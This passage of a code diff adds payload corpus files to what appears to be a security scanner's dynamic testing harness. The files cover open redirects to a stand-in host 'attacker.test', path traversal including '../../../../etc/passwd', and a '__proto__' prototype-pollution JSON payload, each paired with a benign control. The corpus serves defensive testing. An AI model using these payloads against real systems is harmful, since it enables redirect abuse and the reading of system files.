|
||||
callback when the harness follows the captured Location URL with http.get; \
|
||||
no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-js-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
26
src/dynamic/corpus/open_redirect/mod.rs
Normal file
26
src/dynamic/corpus/open_redirect/mod.rs
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
//! Open-redirect (`Cap::OPEN_REDIRECT`) per-language payload slices.
|
||||
//!
|
||||
//! Phase 09 (Track J.7) carves open redirects across the seven HTTP
|
||||
//! framework ecosystems Nyx supports: Java
|
||||
//! (`HttpServletResponse.sendRedirect`), Python (`flask.redirect`),
|
||||
//! PHP (Symfony `Response::redirect` / Slim `Response::withHeader`),
|
||||
//! Ruby (`Rack::Response#redirect`), JavaScript (Express
|
||||
//! `res.redirect`), Go (`gin.Context.Redirect`), Rust (`axum::response::
|
||||
//! Redirect::to`). Every vuln payload binds an absolute attacker URL
|
||||
//! (`https://attacker.test/`) into the response writer's redirect
|
||||
//! entry point; the paired benign control redirects to a same-origin
|
||||
//! path (`/dashboard`). The harness's instrumented redirect shim
|
||||
//! records a [`crate::dynamic::probe::ProbeKind::Redirect { location,
|
||||
//! request_host }`] probe with the unmodified location and the
|
||||
//! request's origin host, and the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::RedirectHostNotIn`]
|
||||
//! predicate fires when the captured `location` resolves off-origin
|
||||
//! relative to `allowlist ∪ {request_host}`.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
92
src/dynamic/corpus/open_redirect/php.rs
Normal file
92
src/dynamic/corpus/open_redirect/php.rs
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
//! PHP `Cap::OPEN_REDIRECT` payloads — `Response::redirect` /
|
||||
//! Symfony `RedirectResponse(...)` off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: an absolute attacker URL passed to
|
||||
//! `header("Location: $value")` or
|
||||
//! `new \Symfony\Component\HttpFoundation\RedirectResponse($value)`
|
||||
//! without host validation. The harness records a
|
||||
//! `ProbeKind::Redirect { location, request_host }` probe and the
|
||||
//! predicate fires on the off-allowlist host.
|
||||
//!
|
||||
//! Benign control: same shape but redirects to the same-origin path
|
||||
//! `/dashboard`, so the captured `location` has no authority
|
||||
//! component and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a real
|
||||
//! `file_get_contents($location, stream_context_create(...))` against
|
||||
//! the loopback nonce URL so the listener records the per-finding
|
||||
//! callback. Ordered first so the runner exercises the OOB observation
|
||||
//! path before the absolute-URL vuln below triggers and short-circuits
|
||||
//! iteration; runs without a listener skip cleanly (runner
|
||||
//! `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-php-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/php/vuln.php"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
|
||||
callback when the harness follows the captured Location URL with \
|
||||
file_get_contents under a stream context timeout; no benign URL can hit \
|
||||
the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-php-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
89
src/dynamic/corpus/open_redirect/python.rs
Normal file
89
src/dynamic/corpus/open_redirect/python.rs
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
//! Python `Cap::OPEN_REDIRECT` payloads — `flask.redirect`
|
||||
//! off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: an attacker-controlled absolute URL spliced into
|
||||
//! `flask.redirect(value)` without host validation; the captured
|
||||
//! `Location:` header points off-origin and the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::RedirectHostNotIn`]
|
||||
//! predicate fires.
|
||||
//!
|
||||
//! Benign control: same shape but redirects to the relative path
|
||||
//! `/dashboard`, so the captured location has no authority component
|
||||
//! and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a real `urllib.request.urlopen`
|
||||
//! against the loopback nonce URL so the listener records the per-finding
|
||||
//! callback. Ordered first so the runner exercises the OOB observation
|
||||
//! path before the absolute-URL vuln below triggers and short-circuits
|
||||
//! iteration; runs without a listener skip cleanly (runner
|
||||
//! `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-python-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/python/vuln.py"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
|
||||
callback when the harness follows the captured Location URL with \
|
||||
urllib.request.urlopen; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-python-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
88
src/dynamic/corpus/open_redirect/ruby.rs
Normal file
88
src/dynamic/corpus/open_redirect/ruby.rs
Normal file
|
|
@ -0,0 +1,88 @@
|
|||
//! Ruby `Cap::OPEN_REDIRECT` payloads —
|
||||
//! `Rack::Response#redirect` off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: an absolute attacker URL spliced into
|
||||
//! `response.redirect(value)` without host validation; the harness
|
||||
//! records a `ProbeKind::Redirect` probe whose `location` points
|
||||
//! off-origin.
|
||||
//!
|
||||
//! Benign control: same shape but redirects to the same-origin path
|
||||
//! `/dashboard`, so the captured `location` has no authority
|
||||
//! component and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a real `Net::HTTP.get_response` against
|
||||
//! the loopback nonce URL so the listener records the per-finding
|
||||
//! callback. Ordered first so the runner exercises the OOB observation
|
||||
//! path before the absolute-URL vuln below triggers and short-circuits
|
||||
//! iteration; runs without a listener skip cleanly (runner
|
||||
//! `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-ruby-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/ruby/vuln.rb"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
|
||||
callback when the harness follows the captured Location URL with \
|
||||
Net::HTTP.get_response; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-ruby-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
88
src/dynamic/corpus/open_redirect/rust.rs
Normal file
88
src/dynamic/corpus/open_redirect/rust.rs
Normal file
|
|
@ -0,0 +1,88 @@
|
|||
//! Rust `Cap::OPEN_REDIRECT` payloads — `axum::response::Redirect::to`
|
||||
//! off-origin redirect.
|
||||
//!
|
||||
//! Vuln payload: an absolute attacker URL spliced into
|
||||
//! `Redirect::to(value)` without host validation; the harness
|
||||
//! records a `ProbeKind::Redirect` probe whose `location` points
|
||||
//! off-origin.
|
||||
//!
|
||||
//! Benign control: same shape but redirects to the same-origin path
|
||||
//! `/dashboard`, so the captured `location` has no authority
|
||||
//! component and the predicate stays clear.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-22): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness follows the
|
||||
//! captured `Location:` URL via a zero-dep `std::net::TcpStream`
|
||||
//! `GET / HTTP/1.0` against the loopback nonce URL so the listener
|
||||
//! records the per-finding callback. Ordered first so the runner
|
||||
//! exercises the OOB observation path before the absolute-URL vuln
|
||||
//! below triggers and short-circuits iteration; runs without a
|
||||
//! listener skip cleanly (runner `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["example.com"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `bytes` is unused when `oob_nonce_slot = true`; the runner
|
||||
// substitutes a per-finding loopback URL (see runner.rs:405-413).
|
||||
bytes: b"",
|
||||
label: "open-redirect-rust-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/rust/vuln.rs"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce open-redirect payload self-confirms via the per-finding listener \
|
||||
callback when the harness follows the captured Location URL with a zero-dep \
|
||||
TcpStream-based GET; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"https://attacker.test/",
|
||||
label: "open-redirect-rust-absolute",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "open-redirect-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"/dashboard",
|
||||
label: "open-redirect-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::RedirectHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 13,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/open_redirect/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
71
src/dynamic/corpus/path_trav/java.rs
Normal file
71
src/dynamic/corpus/path_trav/java.rs
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
//! Java `Cap::FILE_IO` path-traversal payloads (entry-driven servlet harness).
|
||||
//!
|
||||
//! The vulnerable payload escapes the fixture's `testfileDir`
|
||||
//! (`<workdir>/testfiles/`) one level up to a canary file the harness plants at
|
||||
//! the workdir root. The oracle marker is the canary file's CONTENT
|
||||
//! ([`CANARY_MARKER`]), which is deliberately NOT a substring of the path
|
||||
//! payload: an OWASP fixture that merely echoes the requested filename back to
|
||||
//! the response (e.g. `getWriter().write("...'" + fileName + "'...")`) or logs
|
||||
//! it (`System.out.println(... fileName ...)`) cannot reproduce the marker —
|
||||
//! only an unsanitised `new FileInputStream(testfileDir + param)` that actually
|
||||
//! opens and reads the canary does. This is the FILE_IO analogue of the
|
||||
//! collision-resistant CODE_EXEC computed marker (`NYX_PWN_791`).
|
||||
//!
|
||||
//! The host sandbox (`path_traversal.sb`) denies `/etc/passwd` &c. but allows
|
||||
//! reads inside the workdir, so the legacy `/etc/passwd` → `root:` rust payload
|
||||
//! cannot confirm under isolation; the planted canary lives in the readable
|
||||
//! workdir instead.
|
||||
//!
|
||||
//! The benign control names a file that does not exist under `testfileDir`, so
|
||||
//! the same content-marker oracle cannot fire on it.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
/// Canary filename planted at the harness workdir root (the parent of
|
||||
/// `testfiles/`). The Java emitter stages `<workdir>/nyx_pt_canary` with
|
||||
/// [`CANARY_MARKER`] as its content plus an empty `testfiles/` directory so the
|
||||
/// `../nyx_pt_canary` traversal resolves.
|
||||
pub const CANARY_FILENAME: &str = "nyx_pt_canary";
|
||||
|
||||
/// Canary file content for the collision-resistant FILE_IO marker. It uses
|
||||
/// alphanumeric characters plus underscore, so a faithful HTML/URL escaper
|
||||
/// leaves it intact when the fixture writes the read bytes to the response.
|
||||
/// NOT a substring of any payload path.
|
||||
pub const CANARY_MARKER: &str = "NYX_PATHTRAVERSAL_R34D_a7f3c1d8";
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
// `testfileDir + "../nyx_pt_canary"` == `<workdir>/testfiles/../nyx_pt_canary`
|
||||
// == `<workdir>/nyx_pt_canary` (the planted canary).
|
||||
bytes: b"../nyx_pt_canary",
|
||||
label: "path-traversal-canary-java",
|
||||
oracle: Oracle::OutputContains(CANARY_MARKER),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 17,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/java/path_traversal/PathTraversalServlet.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "path-traversal-benign-java",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
// No traversal and no such file under `testfileDir`, so the canary is
|
||||
// never read and the content marker cannot appear.
|
||||
bytes: b"nyx_pt_benign_absent_NYX_BENIGN",
|
||||
label: "path-traversal-benign-java",
|
||||
oracle: Oracle::OutputContains(CANARY_MARKER),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 17,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/java/path_traversal/PathTraversalServlet.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
4
src/dynamic/corpus/path_trav/mod.rs
Normal file
4
src/dynamic/corpus/path_trav/mod.rs
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
//! Path-traversal (`Cap::FILE_IO`) per-language payload slices.
|
||||
|
||||
pub mod java;
|
||||
pub mod rust;
|
||||
43
src/dynamic/corpus/path_trav/rust.rs
Normal file
43
src/dynamic/corpus/path_trav/rust.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! Path-traversal payloads exercised by Rust fixtures
|
||||
//! (`tests/benchmark/corpus/rust/path_traversal/`).
|
||||
//!
|
||||
//! Vuln payload reads `/etc/passwd`; benign payload names a file that does
|
||||
//! not exist so the same oracle marker cannot fire.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"../../../../etc/passwd",
|
||||
label: "path-traversal-passwd",
|
||||
oracle: Oracle::OutputContains("root:"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &[
|
||||
"tests/benchmark/corpus/rust/path_traversal/path_file_open.rs",
|
||||
"tests/benchmark/corpus/rust/path_traversal/path_read.rs",
|
||||
],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "path-traversal-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"benign_safe_file_that_does_not_exist_NYX_BENIGN",
|
||||
label: "path-traversal-benign",
|
||||
oracle: Oracle::OutputContains("root:"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/path_traversal/path_file_open.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
64
src/dynamic/corpus/prototype_pollution/javascript.rs
Normal file
64
src/dynamic/corpus/prototype_pollution/javascript.rs
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
//! JavaScript `Cap::PROTOTYPE_POLLUTION` payloads.
|
||||
//!
|
||||
//! Vuln payload: a JSON literal whose top-level key is `__proto__`.
|
||||
//! When the host's deep-merge / `Object.assign` / JSON-parse-then-
|
||||
//! deep-assign sink walks the key into the merge target, the
|
||||
//! `__proto__` reference reaches `Object.prototype` and writes
|
||||
//! `__nyx_canary`. The harness's instrumented setter trap records a
|
||||
//! `ProbeKind::PrototypePollution { property: "__nyx_canary", … }`
|
||||
//! probe; the predicate
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::PrototypeCanaryTouched`]
|
||||
//! fires on the captured canary write.
|
||||
//!
|
||||
//! Benign control: a JSON literal whose top-level key is the regular
|
||||
//! property `data`. Naive deep-merge walks `target.data` rather than
|
||||
//! `target.__proto__`, so the prototype chain stays untouched and the
|
||||
//! predicate stays clear. The matching fixture
|
||||
//! (`tests/dynamic_fixtures/prototype_pollution/javascript/benign.js`)
|
||||
//! additionally demonstrates the canonical mitigation pattern of
|
||||
//! using `Object.create(null)` as the merge target — static analysis
|
||||
//! of the fixture surfaces the prototype-less target while the
|
||||
//! runtime differential is driven by the absence of a `__proto__` key
|
||||
//! in the payload bytes.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::{Canary, ProbePredicate};
|
||||
|
||||
const CANARY: &str = Canary::PLACEHOLDER;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "prototype-pollution-js-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 14,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/prototype_pollution/javascript/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "prototype-pollution-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "prototype-pollution-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 14,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/prototype_pollution/javascript/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
20
src/dynamic/corpus/prototype_pollution/mod.rs
Normal file
20
src/dynamic/corpus/prototype_pollution/mod.rs
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
//! Prototype-pollution (`Cap::PROTOTYPE_POLLUTION`) per-language
|
||||
//! payload slices.
|
||||
//!
|
||||
//! Phase 10 (Track J.8) carves the JavaScript / TypeScript prototype-
|
||||
//! pollution gadget against three sink families: `lodash.merge`,
|
||||
//! `Object.assign` with tainted RHS, and `JSON.parse`-then-deep-assign.
|
||||
//! Every vuln payload binds a JSON literal whose top-level key is
|
||||
//! `__proto__`; the harness's instrumented deep-merge walks the key
|
||||
//! into `Object.prototype` and a `Proxy`-style setter trap on
|
||||
//! `Object.prototype.__nyx_canary` records a
|
||||
//! [`crate::dynamic::probe::ProbeKind::PrototypePollution`] probe. The
|
||||
//! paired benign control sends a JSON literal whose top-level key is
|
||||
//! the regular property `data`, leaving the prototype chain
|
||||
//! untouched. The
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::PrototypeCanaryTouched`]
|
||||
//! predicate fires only on probes whose `property` equals the canary
|
||||
//! name (`__nyx_canary`).
|
||||
|
||||
pub mod javascript;
|
||||
pub mod typescript;
|
||||
50
src/dynamic/corpus/prototype_pollution/typescript.rs
Normal file
50
src/dynamic/corpus/prototype_pollution/typescript.rs
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
//! TypeScript `Cap::PROTOTYPE_POLLUTION` payloads.
|
||||
//!
|
||||
//! Mirrors [`super::javascript`] — the runtime is Node.js in both
|
||||
//! cases, so the payload shape and oracle predicate are identical.
|
||||
//! The per-language slice exists so the lang-aware corpus resolver
|
||||
//! pairs TS vuln payloads against TS benign controls without crossing
|
||||
//! the JS slice (and so the fixture paths point at the TS-specific
|
||||
//! fixtures the static-analysis side consumes).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::{Canary, ProbePredicate};
|
||||
|
||||
const CANARY: &str = Canary::PLACEHOLDER;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
